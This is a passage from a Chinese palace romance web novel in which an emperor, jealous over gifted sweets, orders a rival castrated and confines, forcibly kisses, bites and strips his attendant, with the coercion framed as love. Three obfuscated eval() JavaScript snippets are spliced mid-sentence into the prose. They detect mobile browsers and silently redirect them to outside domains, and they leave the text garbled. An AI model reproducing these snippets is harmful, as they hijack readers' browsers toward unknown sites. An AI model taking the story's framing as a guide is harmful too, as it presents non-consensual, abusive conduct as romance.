正拉扯着,卞明玉探出脑袋,一把夺走父亲手里的钱袋,从自己腰带上扯下一个荷包,从里面拿出一个布包,递到他面前。 “这个给你。” 燕枝还想拒绝,卞明玉又笑嘻嘻地道:“盐渍青梅。好吃的,给你吃。” 卞大人刚想训斥他,卞明玉又道:“爹,你给燕枝公子塞银子,人家在宫里怎么花?再说了,要是你这个又丑又土的钱袋子被陛下看见,你让人家怎么解释?” 好像很有道理的样子。 卞大人一时间竟愣住了。 卞明玉最后道:“亏你聪明一世,连这点都没想到。” 他转过头,朝燕枝笑,露出八个大白牙:“给你吃。” 燕枝还是拒绝:“还是不必了,我……” “吃一颗,没核儿,是南边亲戚特意送来的,家里的弟弟们都吃过了。” “南边亲戚”四个字,卞明玉咬得格外用力。 燕枝下意识抬起头,对上他友善的目光,好像明白了什么。 卞明玉好像知道了。 前阵子在营地里,那个裹着披风,偷溜出来玩儿的人,就是他。 可是卞明玉,好像并没有要揭穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164105|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的意思,更没有要用这件事情威胁他的意思。 或许,只是因为他们当时谈到了南边,所以他单纯热情地想要让他尝尝南边的东西。 燕枝怯怯地看着他,试探着伸出手,捻起一颗梅子:“多谢。” “不必客气。”卞明玉笑着,从父亲肩上接过包袱,“爹,我进去了。” “行……”卞大人皱着眉头,忽然想起什么,“钱!卞明玉,钱还给我!” 可是卞明玉背着包袱,揣着父亲的钱袋子,跟随迎候的宫人,头也不回地进了宫。 燕枝把梅子塞进嘴里,笑了笑,低下头,在名册上圈了个小圈儿。 卞公子到了。 不多时,其他公子也陆陆续续到了。 也有想给燕枝塞钱的,但是燕枝胆子太小,全部推辞了,一个都没敢收。 谢仪是他父亲陪着过来的。 父子二人看见燕枝,为了几年前的救命之恩,又郑重地向他行礼道谢。 谢父甚至要给他下跪:“燕枝公子,救命之恩,永世难忘……” 燕枝赶忙扶住他,让他站好:“不必多礼,不必多礼。” 谢仪没想过要入宫,谢父也不奢望他做皇后,父子二人在宫门前,也是依依惜别,殷殷叮嘱。 燕枝本就想提醒谢仪两句,低头看看名册,见人来得差不多了,便留下两个宫人在宫门前继续等候,自己亲自带着谢仪,朝备选儿郎的住处走去。 两个人一前一后,走在长长的宫道上。 谢仪是谢家旁支子弟,家中并不富裕,就算这几年他父亲立下军功,他们家也一直都很简朴。 也有可能是故意扮丑,谢仪今日只穿了一件洗得发白的素色衣裳,冠上也只插着木簪。 谢仪摸了摸衣袖,从里面拿出一个熟悉的荷叶包,悄悄递给燕枝。 “公子。” “诶?”燕枝惊讶,连忙用衣袖遮住他的手。 “前阵子的糖糕,不知公子吃着可还好?”谢仪温声道,“我收到旨意要入宫,知道会见到公子,所以特意再去铺子买了一些。” “谢谢。”燕枝接过温热的糖糕,藏进袖中。 谢仪又问:“前几日听闻公子风寒,今日可大好了?” “已经好了。”燕枝点点头,“劳你挂心。” “是我应该做的。” “所以……”燕枝顿了顿,回过头,小声问,“所以,我们现在算是好友了吧?” 陛下说过,谢仪是他唯一的好友。 虽然陛下那时很可能是在阴阳怪气,但是陛下说久了,这话听久了,他也确实有点儿把谢仪当成自己的好友了。 他总是跟在陛下身边,陛下不喜欢他,宫里的宫女太监因为他的身份,也很少和他私下往来。 如今想想,他唯一认识的,算得上是友人的人,就只有谢仪了。 谢仪轻轻点了点头:“若是公子愿意,那我们就是好友了。” 燕枝脚步一顿,犹豫片刻,最后下定决心,转身拉住谢仪的衣袖,带着他躲进宫道前面的角落里。 “过来,我跟你说,你已经被陛下看上了。” 谢仪愣了一下:“什么?” “你已经被陛下看上了!”燕枝焦急地重复一遍。 “为何?” “谁让你看了这么多书,才华那么高?” “这……” 燕枝认真道:“你进宫之后,就别再看书了,也别写文章了,知道吗?” “我知道了。”谢仪颔首。 “在宫里装得笨一点儿、傻一点儿,不要出风头,知道吗?” “好。”谢仪继续点头。 “你说话说得太干脆了。”燕枝道,“你……你一点都不结巴,看起来一点儿都不笨!” “什么?”谢仪蹙眉,疑惑地看着他。 “你怎么连这也听不懂啊?”燕枝抿了抿唇角,指着自己,小声道,“陛下最讨厌像我这样,又笨又蠢的人,你不想中选,就应该学我的模样……” 谢仪却道:“可我觉得公子不笨。” 燕枝默了一下,低下头去,倏地红了眼眶,眼泪在眼眶里打转。 陛下总是说他很笨很蠢,说得他自己都相信了。 这还是头一回,有人说他不笨呢。 这话猝不及防,直直地撞进他的心里。 燕枝感觉,自己很难很难,才找到一个好友。 可是……这个好友却不能留在宫里陪他。 一个很坏很坏的念头,忽然从他心头升起—— 要不然,就让谢仪中选吧? 让谢仪留在宫里陪他,和他作伴。 这样他就不会这么孤单了,陛下去见妃嫔的时候,他也可以去见谢仪。 就在这时,谢仪又道:“我觉得公子很聪明,也很果敢。” “真的吗?”燕枝抬起头,没等他回答,胡乱抹去眼中的泪水,用力拍了两下自己的脸颊。 燕枝啊燕枝,你真是太坏了!你是个大坏蛋! 谢仪对你这么好,你怎么能想着让谢仪留在宫里陪你呢? 不可以这样。 谢仪真诚地望着他:“真的。” 燕枝打断他的话:“算了,现在不是说这种事情的时候。反正陛下最讨厌、最讨厌的人就是我,你要是不想中选,就要学我的样子,明白吗?” “明白了。” “结巴点。” “明……明白了……” “对,就是这样,我就是这样说话的。”燕枝满意点头,“走罢,我带你去你住的地方。” “好。” “嗯?”燕枝抬头看他。 “好……好。” 燕枝带着自己唯一的好友,从宫道角落里走出来。 就在这时,一股巨大的力量握住他的胳膊,把他往回一拽。 与此同时,一道残影闪过,他身边的谢仪被人踹了一脚,整个人往前扑去,重重地摔在地上。 “谢仪!” 燕枝下意识大喊,想要上去扶他。 可下一瞬,就被对方再次拽了回来,同样重重地撞在男人结实的胸膛上。 再下一瞬,燕枝藏在衣袖里的荷叶包掉了出来,砸在地上,荷叶散开,显露出里面的糖糕。 两块糖糕,一块是白糖做的,一块是黑糖做的。 萧篡死死握着燕枝的手臂,低头看见那块黑色的糖糕。 糖糕!燕枝给他们“儿子”起的名字就是“糖糕”! 一瞬间,萧篡抓着燕枝的手越发用力,燕枝疼得脸色惨白,几乎要被掐昏过去。 “疼……” “糖、糕——” 萧篡咬着牙,看着燕枝,从牙缝里挤出这句话来。 “谢、仪、送、的?” 14.阉掉 14 一瞬间,狂风乍起,迎面袭来。 听见无比熟悉的声音,燕枝猛地回过头,直直地对上男人暴怒的面庞。 他下意识忘记挣扎,整个人僵在原地,只有一双眼睛瞪得圆圆的,写满了不可置信。 萧篡握着他的胳膊,把他的手臂高高举起,力度之大,几乎要把他整个儿提起来。 萧篡面庞紧绷,脸色铁青。因为暴怒,脸上反倒没有任何表情。 对视上的瞬间,萧篡如同狩猎的野兽一般,皱了皱眉头,眯了眯眼睛,漆黑的瞳仁里闪过暗沉的光,酝酿着滔天的怒火。 燕枝忘了挣扎,也忘了手臂上的疼痛,只是呆呆地望着萧篡。 他张了张口,想要说话,却发不出声音。 陛下怎么会在这里? 陛下不是在太极殿见大臣吗? 陛下怎么会…… 狂风刮过,吹乱燕枝的头发,也吹得他的心绪一片杂乱。 萧篡攥着他的胳膊,把他往自己面前再拽了拽,用冰冷寒凉的眼神将他牢牢锁住。 他咬牙切齿,嗓音低哑,一字一顿地喊:“燕、枝——” 萧篡喊他,要么是“蠢货”,要么是“小狗”。 这还是萧篡第一次喊他的名字。 “咯噔”一声,燕枝的心也跟着沉了下去。 方才那些杂乱的念头瞬间消失,他不再去想陛下怎么会出现在这里,也不再去想陛下会怎么处置他。 他的心里只剩下一个想法—— 他要死了。 他只能活到今日了。 陛下是真的会弄死他的。 燕枝呆呆的,喊了一声:“陛下……” 萧篡却没有给他解释的机会,把他拽得更近。 两个人贴得很近,几乎是脚尖抵着脚尖,胸膛贴着心口。 只是燕枝害怕,一个劲地往后躲。 萧篡进攻,死死地抓着他,不让他逃。 滔天怒火,几乎将燕枝淹没,让他窒息。 萧篡垂了垂眼睛,看向掉在地上的糖糕,低声道:“糖糕?” 燕枝红着眼眶,不敢说话。 萧篡又问:“谢仪送的?” 燕枝更加不敢回答。 萧篡最后问:“狗的名字?” 燕枝害怕得说不出话来,落在萧篡眼里,就是默认。 萧篡不再问他任何问题,只是移开目光,阴恻恻地看向燕枝身后的谢仪。 谢仪被他重重踹了一脚,整个人摔在地上,随行大臣与宫人避得远远的,都不敢上前去扶。 直到现在,他终于捂着胸口,扶着墙,自己爬了起来。 燕枝循着萧篡的目光,回头看去,终于回过神来,冲破恐惧。 “陛下……陛下!” 燕枝发着抖,喊了一声,吸引萧篡的注意力。 “是奴的错!” 萧篡转头看他,神色冰冷,一言不发。 “是奴嘴馋,想吃宫外的糖糕,才请谢……谢公子帮奴从宫外买一些来……” “奴……奴是给了谢公子钱的,奴怕不合宫规,这才把谢公子拉到墙角……” “是奴的错!全是奴的错,是奴又蠢又笨又贪吃,这才……” 可是这回,一直说他是“蠢货”的陛下一反常态,竟然对他说—— “不是你的错。” “是奴的错。”燕枝重复道,“是奴不好……” 萧篡抬起手,托起他的脸,用拇指擦去他脸颊上的泪珠。 他冷着脸,正色道:“不是你的错,是他的错。” 燕枝自然不认,用力摇头:“不是的,此事与谢公子无关,求陛下放过谢公子……” 他话还没说完,萧篡一听见“谢公子”三个字,反手就捂住他的嘴,把他按进怀里。 燕枝用尽全身力气,奋力挣扎,却被萧篡死死按住,动弹不得。 萧篡抬起一脚,将地上的糖糕,连带着荷叶,踹到谢仪面前。 谢仪好不容易站起来,赶忙又扶着墙跪下:“陛下,此事是草民思虑不周,与燕枝公子无关……” 萧篡却没理他,只是转过头,喊了一声:“刘洵。” 名叫“刘洵”的大臣上前,战战兢兢,俯身行礼,不敢多看:“陛下。” “你方才同朕说的话,再说一遍。” “陛下……” “再说一遍。” “是。”刘大人越发低下头,“臣谏言,陛下选秀,男女同选,新人入宫之后,未免后宫混乱,最好还是请诸位妃嫔分开居住,或是重修宫室,安置……” “不必麻烦。”萧篡淡淡地打断了他的话。 燕枝忽然感觉到一股前所未有的寒意。 他试探着抬起头,看向陛下。 陛下面无表情,冷静至极,可燕枝却越看越忐忑,越看越害怕。 果然,下一刻,他听见陛下说—— “来人,拖下去阉了。” 燕枝的耳边“轰”的一声炸开,他什么也顾不得了,不知从哪里来的力气,一把挣开萧篡的禁锢,挡在谢仪身前,“扑通”一声跪下。 “陛下!” 谢仪不知道帝王的脾气,压根没有想到事情会变成这样,早已经愣在原地。 只有燕枝反应过来,哭着帮他求情:“陛下……” 萧篡只觉得怀里一空,见燕枝跑了,心中怒火愈盛。 他压低声音,喊了一声:“燕枝,过来。” 燕枝只是摇头:“求陛下放过谢公子,此事确实与他……” “朕让你过来!” 萧篡再也维持不了冷静,他大步上前,双手钳住燕枝的肩膀,把他从地上抓起来,定定地看着他。 “不把他阉了也行,把你阉了。你自己选一个。” 燕枝愣在原地,思索片刻,最后颤抖着唇,轻轻地说了一声—— “我……” 谢仪不可以被阉掉。 谢仪是他的好友,谢仪是他刚刚才认下的好友。 谢仪是他亲自带进宫来的,谢仪是谢父亲自送到他手里来的。 谢仪是被他牵连的,是他害了谢仪。 不可以,谢仪绝对不可以被阉掉。 燕枝下定决心,鼓起勇气,小声道:“陛下……把我阉掉……” 他做出选择,萧篡反倒更加恼怒,反问道:“你以为朕不会动你?” “没有……”燕枝垂下眼睛,泪珠落在萧篡的手背上。 反正他一直待在宫里。 反正陛下总说要把他阉掉。 反正……反正他的东西没什么用。 现在最要紧的,是把谢仪保住,不能让他被自己连累。 就在这时,谢仪也终于反应过来,忙道:“请陛下明鉴,草民与燕枝公子……” “好,好得很。”萧篡还是不理会他,对着燕枝气极反笑,“为了护着他,你都打定主意,要去做小太监了。好一对苦命鸳鸯,好一个情深义重。” 萧篡双手钳着燕枝的肩膀,几乎要把他揉碎。 “燕枝,你真以为朕说要把你阉了,是榻上跟你逗乐?你真以为朕宠着你,不敢动你?” 下一刻,他反手抱住燕枝的腰,直接把他扛到肩上,大步朝宫道尽头走去。 脚步踏过,他故意把地上的糖糕踩得粉碎。 燕枝没有再反抗,乖顺地趴在他的肩上。 没关系的,把他阉掉没关系的,只要陛下放过谢仪就好…… 可紧跟着,他就听见陛下道:“把谢仪拖去净身房。” 燕枝倏地抬起头,不敢相信地回头看他:“陛下……” 萧篡没有理他,绷着脸,一言不发,大步往前走。 “陛下答应过我的!”燕枝终于发现不对劲,开始挣扎,“陛下答应过我,不动谢公子的……” 萧篡还是没有回答,只是收紧了扛着他的手,牢牢将他按住。 * “陛下答应过我的!陛下不能言而无信!陛下……” 燕枝一路挣扎,一路质问,却都没有回应。 到最后,他再也忍不住了,大喊一声:“萧篡!” 萧篡脚步一顿,转头看他。 燕枝扑腾着双脚,用手揪他的衣裳,用拳头打他的后背:“你答应过我的……答应过我的……不要阉了谢仪,不要阉掉他……求你了……” 随行宫人不敢多看,都在远处躲避。 萧篡扛着他,抬脚迈上净身房的石阶。 来到净身房门前,萧篡一脚踹开大门,扛着他,穿过阴冷潮湿的走廊,穿过一个个狭窄黑暗的隔间。 一进这里,燕枝连哭声都小了。 他害怕。 他在八岁的时候,就来过这个地方。 他害怕……他害怕…… 来到走廊尽头,最后一个房间前,萧篡同样一脚踹开门,把燕枝丢了进去。 燕枝摔在干草堆上,但很快又爬起来,朝外面跑去。 可是这个时候,萧篡已经把房门关上了。 “陛下!” 燕枝双手拍在房门上,用尽所有力气,大喊一声。 “陛下!陛下!” 他哭着,拍打着房门,仿佛身后有鬼在追。 “是奴的错,奴不该贪吃……但是谢公子真的是无辜的……奴再也不贪吃了,奴再也不吃奶油泡芙了,奴再也不吃糖糕了……” 他哭了许久,外面也没有任何回应。 大概是陛下已经走了。 “奴再也不吃奶糖了……” “再也不喝牛乳了……” “再也不吃饼干了……” 燕枝一边喃喃念着,一边没了力气,蹲下身来,抱着双腿。 “我再也不吃东西了,我什么都不吃了,再也不吃了……” 他坐在地上,房间里一片黑暗,角落里,似乎还传来窸窸窣窣的古怪响动。 他在八岁的时候就来过这里,他知道小太监净身的规矩。 净身之前,人会被关在石头垒成的隔间里。 隔间没有窗子,连墙缝都用布条塞住。 隔间里一片漆黑,听不见任何外面的声音,也不会给吃的喝的,就把他关在隔间里,封闭五感,颠倒日夜。 等过个四五日,人饿得没力气了,饿得快死了,行刑人就把他从房间里拖出去,扒掉裤子,咔嚓一刀。 这样血不会流得太多,混混沌沌的,也不会觉得太疼,忍一忍就过去了。 八岁的燕枝曾经就被丢在行刑台上,即将行刑的时候,是陛下从天而降,把他救了下来。 可是这回,也是陛下把他丢了进来。 不知道过了多久,燕枝的心情稍微平复了一些,终于不再发抖。 他抹了抹脸上的眼泪,小声说话,自己安慰自己,自己给自己打气。 “没关系的,已经来过一次了,已经很熟悉了。” “反正……反正宫里人人都这样,我……我留着也没用。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164106|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一边说着,一边摸黑爬起来,准备找个角落靠着坐,节省一点力气。 “很快就好了,很快就好了……别害怕……燕枝,别害怕……” 燕枝就是长在宫墙墙角的野草,在太极殿能活,在北凉山能活,在净身房也一样能活。 他坚强又勇敢,顽强又坚韧。 * 燕枝在净身房里自言自语的时候,萧篡就站在隔间外面。 萧篡靠在墙上,面容隐在黑暗之中,看不清表情。 但是他死死攥着拳头,手背上青筋暴起,骨节摩擦,发出咯吱咯吱的声音。 燕枝听见的、以为是老鼠的声音,其实是他握着拳头发出来的。 燕枝这个蠢货,他怎么敢? 让他去迎接选秀中人,他怎么敢和谢仪拉拉扯扯? 让他给捡回来的幼狼起名字,他怎么敢用谢仪送他的糖糕起名字? 让他在自己和谢仪中间选一个,他怎么敢选谢仪? 他怎么敢?! 萧篡气急,转身一脚踹在石壁上。 他纹丝不动,石壁竟然晃了两下,吓得牢房里的燕枝往墙角缩了缩。 今日选秀众人入宫,他特意派燕枝去迎接。 他知道那些人会给燕枝塞钱,知道那些人会贿赂燕枝,向他打听宫里的事情。 他是想试试燕枝,想试试燕枝对他的忠心,想试试燕枝对他的好感。 他以为,燕枝这个蠢货,顶破了天,也就是不懂得回绝,被硬塞了钱,最后拿回来,犹犹豫豫地交给他,让他处置。 所以他在太极殿里,同朝臣议事议得差不多了,就带着他们,去看看燕枝。 可谁知道,燕枝给了他一个天大的惊喜! 这个谢仪,这个杀千刀的谢仪! 迟早有一天把他杀了! 凌迟处死!五马分尸! 还有燕枝…… 这回绝不能心软。 他就是一只养不熟的小狗! 一天天的,总想着往外跑,总想着出去找别人。 这回绝不能再心软了,必须把他关着,让他吃够了苦头,学乖学好了,再把他放出来! 谢仪绝不是第一次给燕枝带糖糕,看他们两个那个熟稔的态度、护着对方的模样,绝对不止这一次。 萧篡的眉心猛地一跳,忽然想到这一点。 在他不知道的地方,他们早就见了不知道多少回了! 悄悄送糖糕,就不可避免地要碰到手。 从前他给燕枝吃奶油泡芙,燕枝总是笑得眉眼弯弯,一副故意勾人的模样。 燕枝还总是把奶油泡芙掰一半,递到他面前,说要分给他。 说不定燕枝和谢仪一起吃糖糕,也是这样吃的! 天杀的! 萧篡越想越气,又踹了一脚石壁,怒骂一声。 就在这时,隔间里的燕枝感觉到了,试探着喊了一声:“谢仪?” 陛下下令,把谢仪也拖到净身房里,所以燕枝以为,谢仪就被关在他隔壁。 他从墙角里爬起来,跌跌撞撞地跑到墙边,小声道:“对不起,对不起,都是我连累的你。” “你别害怕、别生气,我一定会想办法救你出去的,我一定不会让你被阉掉的……” 忽然,隔间房门被人从外面一脚踹开。 燕枝下意识循声望去。 可是为了让小太监们不知道时辰,感觉不到疼痛,隔间里很黑很黑,他在里面待久了,哭得眼睛都肿了,感觉不到光亮,什么都看不清。 下一刻,一个高大的黑影冲到他面前,猛地将他抱住。 燕枝惊叫出声,用力捶打对方的后背:“谁?是谁?放开我!” 对方一言不发,只是推着他,将他堵在墙角,一手锢住他的腰,一手握住他的两只手腕。 “是谁?放开我!还没到行刑的时候!出去!” 燕枝挣扎得厉害,男人用一只脚别开他的双脚,用一条腿分开他的两条腿,膝盖一顶,就将他抵在墙上。 “撕拉”一声,男人直接扯下他的衣裳,用他的衣裳胡乱擦拭他的双手和脸,似乎是嫌他脏,要把他擦干净。 “陛下?是陛下吗?”燕枝带着希冀问。 可男人还是不说话,只顾着擦他的脸,把他的脸都磨红了。 “陛下?是不是陛下?陛下,不要不说话,奴不知道是谁……” 燕枝真的有点怕了,好不容易憋回去的眼泪,又淌了下来。 他的眼泪沾湿了男人手里的衣裳,男人动作一顿,但很快的,给他擦脸的动作更用力了。 不是陛下!这个人不是陛下!是别人! 对方总是不说话,燕枝哭得脑子一团浆糊。 他什么都分不清,什么都想不到。 他只是下意识挣扎,想要把对方赶走。 “走开!你走开!我是陛下的人!你不能动我……陛下会杀了你的……松手……唔……” 话还没完,萧篡捧起他的脸,重重地吻了上去。 唇齿磕碰到的瞬间,一股浓重的血腥味弥漫开来。 燕枝疼得直抽气,萧篡却不肯松手,反倒像见了血的野兽一般,舔舐他唇上的伤口,舔舐得得更加猛烈。 太脏了! 吃过糖糕的小狗嘴巴,实在是太脏了。 用布擦不干净,用水洗不干净,要他来亲干净。 他要把燕枝身上,上上下下,里里外外,仔仔细细,全都检查一遍。 15.牢房 15 呼吸相送,唇齿相接。 狂风暴雨,电闪雷鸣。 一场极其猛烈的亲吻,燕枝奋力挣扎,萧篡极力压制。 不像是唇齿相接的抵死缠绵,倒像是天崩地裂的打架斗狠。 萧篡磕破了燕枝的唇珠,燕枝执拗的劲儿上来,也用力咬破了萧篡的嘴巴。 鲜血混着唾液,呼吸混着喘息。 萧篡紧紧地按着燕枝,两个人也混在一块儿,分都分不开。 不知道过了多久,萧篡捧着燕枝的脸,最后重重地吮了一下他的唇珠,把上边的血珠舔掉,才终于放开他。 燕枝用力推了萧篡一把,想把他推开,结果没推动,反倒是自己摔进角落里。 他抬起手,用衣袖胡乱抹了抹嘴。 黑暗里,似乎有一双野狼一般的绿色眼睛,幽幽地亮了一下。 下一刻,萧篡握住他的手腕,把他的手挪开。 “你再敢擦一下试试。” 燕枝看不清萧篡的面容,萧篡却能够将燕枝的动作尽收眼底。 这不公平。 燕枝收了一下手,没能把手收回来。 他靠在墙角,因为方才的挣扎,身子软得厉害,几乎要站不住。 察觉到他要顺着石壁滑下去了,萧篡抬腿顶住他的膝盖,双手钳住他的肩膀,把他提起来,定在墙上,不准他逃。 萧篡咬着牙,低声道:“朕才亲你一口,你就跟被狗咬了似的,满屋子乱窜,还打朕咬朕。” “谢仪给你糖糕,你倒是不嫌弃,接过来就往怀里揣,还拉他的手。” 不知道是不是错觉,燕枝忽然觉得,陛下说这话的时候,语气里除了憎恶,似乎还有些委屈。 但燕枝不敢多想,也不愿意多想。 他顿了顿,只道:“那只是糖糕而已……与谢公子无关,是奴嘴馋,给了他钱,请他帮忙……” “还撒谎!”萧篡厉声打断他的话,“没有他带给你,你能知道糖糕是个什么玩意?” “我当然知道!”燕枝也跟着大声起来,“我当然知道糖糕是什么东西,我又不是傻瓜!” “蠢货。”萧篡咬着牙,从喉咙里挤出来一句,“你就是蠢货。” 这话落地,两个人都不再说话。 牢房里一片沉默。 燕枝彻底没了力气,靠在墙上,不受控制地、小口小口地喘着气。 忽然,萧篡俯身靠近,低下头,将下巴抵在他的肩膀上。 脚尖别进脚尖,胸膛抵着胸膛。 隔着薄薄的衣料,两个人贴得很近很近,燕枝几乎能感觉到,陛下胸膛上的起伏与跳动。 萧篡往前一步,彻底将燕枝逼进墙角,几乎将自己所有的重量都压在燕枝身上。 萧篡炙热的呼吸打在燕枝的脖颈上,烫得他下意识别过头去。 可下一刻,萧篡一把按住他的脑袋,又让他转了回来。 两个人就这样站在一起。 天地混沌,万籁俱寂,只剩下心跳的声音。 良久良久。 燕枝实在是没力气,低下头,闭上眼睛,想就这样靠着墙歇一会儿的时候,萧篡忽然开了口—— “再说一遍。” 燕枝不解,愣了一下。 萧篡头也不抬,低声道:“糖糕的事情,再说一遍。” 燕枝回过神来,忙道:“是奴听旁人提起糖糕,一时嘴馋,所以给了谢公子钱,请谢公子帮奴买糖糕,带进宫来。” “嗯。”萧篡从喉咙里发出野兽般的“呼噜”声,就当是答应了,“这是第一次?” “……是。”燕枝实在是不太会撒谎,但是事到如今,他也不得不撒谎。 所幸陛下没有听出来,或者说,陛下已经不想听出来了。 萧篡最后道:“是谢仪勾.引你。” 虽然是问话,但语气却是笃定的。 他最后给燕枝一次机会,只要燕枝点头,说是谢仪的错,他把谢仪阉了,这件事情就这样过去了。 可是现在,一向听话的燕枝,偏偏要在这种事情上跟他作对。 “不是的,是奴……” 燕枝话还没说完,萧篡捧住他的脸,又重重地堵住他的双唇,把他的话堵回去。 亲了很久,亲得燕枝气喘吁吁,萧篡才放开他。 “重说。” “不是谢公子的错……唔……” 萧篡再次捧起他的脸,再次准准地亲了下去。 “重说!” “谢公子没有……” 谢公子,谢公子,又是谢公子! 萧篡再也不想从燕枝嘴里听见这三个字! 萧篡第三次堵住燕枝的嘴。 ——如此反复五次。 只要燕枝开口为谢仪撇清关系,萧篡就堵住他的嘴。 到了后面,只要燕枝张开嘴巴,还没发出声音,萧篡就亲他。 亲到后面,燕枝嘴巴麻了,舌头也麻了,连气都喘不上来,说话也说不清楚。 他终于明白,他不该一直提“谢公子”的。 他干脆低下头,不说话了。 就这样吧,反正陛下心里已经有了答案。 陛下要把他阉掉,就把他阉掉吧。 等过几天,等他被阉掉了,再向陛下求情,陛下应该会更好说话。 他不说话,萧篡也垂下眼,握住他的手腕,捏捏他的手指。 是这只手。 就是这只手摸了谢仪的衣袖。 萧篡攥住燕枝的右手,使劲搓了两下,像是要把上边沾着的脏东西都擦掉一般。 下一瞬,一股细细密密、又疼又痒的感觉,从燕枝的手指上传来。 萧篡捏着他的手,低下头,用自己尖利的犬牙,在他的手指指节上摩擦啃咬,似乎要把他的手咬掉一层皮。 燕枝被吓了一跳,想要把手收回来,却没能成功。 他转身想逃,萧篡却像山一般挡在他面前,将他堵在墙角,堵得密不透风。 就像野狼啃咬猎物一样。 萧篡一言不发,顺着他的手指往上,咬他的手背,又撩起他的衣袖,咬他的手臂,最后叼住他的后颈。 燕枝下意识腿脚一软,几乎站不稳。 萧篡一手圈住他,一手解开自己身上的外裳,盖在燕枝的脑袋上,把燕枝拢在里面,用力揉搓,揉乱他的头发。 他想让燕枝浑身上下,都沾染上自己的气息。 他要用自己的气息,掩盖掉外人的气味。 仅仅是外裳,还远远不够。 气味不够浓。 于是萧篡又解开中衣,自己赤着上身,将燕枝裹住。 不够,还是不够。 还是有外人的气味。 下一刻,萧篡猛地看见什么,伸手去扯燕枝的衣裳。 是这个! 是燕枝身上的衣裳。 燕枝穿着它在外面跑了半天,和谢仪拉拉扯扯半天,是这件衣裳上沾满了外人的气息。 见他要扯自己的衣裳,燕枝赶忙反抗:“陛下……” “别乱动!”萧篡厉声呵斥,“不想被阉掉,就别乱动!” 燕枝怔了一下,下一刻,身上的衣裳就落在了地上。 萧篡用自己的衣裳把他裹起来,犹觉不足,于是继续亲他,从后颈亲到脸颊,从脸颊亲到下巴,随后一路往下。 就像是野兽标记猎物一般。 野兽要把猎物全身上下舔个遍,把它舔得湿漉漉、汗津津的,以宣示自己的所有权。 萧篡把自己的外裳铺在干草堆上,把燕枝放在上面,然后按着燕枝,开始咬他。 燕枝自然受不了这样猛烈的进攻,挣扎着要跑,却被萧篡牢牢按住。 在被萧篡咬住要害地方的时候,燕枝终于不敢再挣扎,安静下来,倒在他的衣裳上。 片刻之后,萧篡觉着差不多了,便直起身子来,扯开给燕枝裹着的单衣。 他张开双臂,铜筋铁骨,铜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15169762|164173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙铁壁,将他整个儿拢在怀里。 什么衣裳,都比不上他自己上场。 燕枝本就体弱,哭了好几回,早就把身上的暖意哭没了,整个人微微发着抖。 萧篡心中恼怒,气血上涌,肌肉紧绷,身体滚烫。 一冷一热,相互交融。 两个人终于坦诚相见,毫无隔阂地贴着对方。 下一个瞬间,隔间里两个人的气味交融迸发,将任何外人都排除在外。 萧篡将燕枝紧紧抱在怀里,燕枝也软软地靠在他怀里,脑袋靠在他的肩上。 萧篡还想再问:“是谢仪勾.引你——” 话说了一半,觉得扫兴,于是又改了口—— “说你喜欢朕。” 燕枝垂着眼睛,不知是没听见,还是没力气说。 萧篡皱起眉头,动作愈强,扶着他的肩膀,要他看着自己:“燕枝,说喜欢朕!” “喜欢……”燕枝低下头,额头抵在他的胸膛上,小声道,“奴喜欢陛下。” “还有那一长串。” “奴喜欢陛下……特别喜欢……非常喜欢……” 燕枝说着说着,却忽然带上了哭腔,哭了出来。 “天底下……天底下第一喜欢!” 他哭着,滚烫的眼泪落在萧篡的胸膛上,滑落下去。 燕枝终于没忍住,大哭出声。 “可是陛下都不喜欢我!” “陛下总是欺负我,陛下总是吓唬我,陛下总是怀疑我,陛下把我关进净身房,陛下还欺负我的好友……陛下根本就不听我解释……” “陛下说话不算数!陛下欺负我的好友!陛下害得我,我害死了唯一的好友!” 他大声控诉着,最后下了结论—— “我再也不要喜欢陛下了!我再也不要……” 不等他说完,萧篡猛地往前一扑,将他按在衣裳铺成的小小床榻上。 “蠢货,你知道你在说什么吗?” 面对燕枝的控诉,萧篡从来不会哄他,只会用更大声、更凶狠的话镇压他。 “你自个儿跑去和谢仪拉拉扯扯,这怪朕?” “你想吃糖糕,跟朕说一声,难道朕不会买给你,这也怪朕?” “你自个儿到处乱跑,和一堆人涨了一堆好感,这还要怪朕?” “要是你能看见,朕早就摆出来给你看了!你还委屈上了!” 萧篡捏住他的下巴,正色道:“蠢货,是你自个儿说的——” “‘喜欢陛下!非常喜欢!特别喜欢!要一直侍奉陛下!要一直和陛下待在一块儿!’” “每年生辰都许这个愿望,日日夜夜都跟朕说这些话,是你自个儿说的喜欢朕,你说出去的话,就这么随随便便?” “你喜欢朕,和朕喜不喜欢你,到底有什么干系?” “这么些年,不都是这样过来的?!” 燕枝被他吼了一顿,不敢再说话。 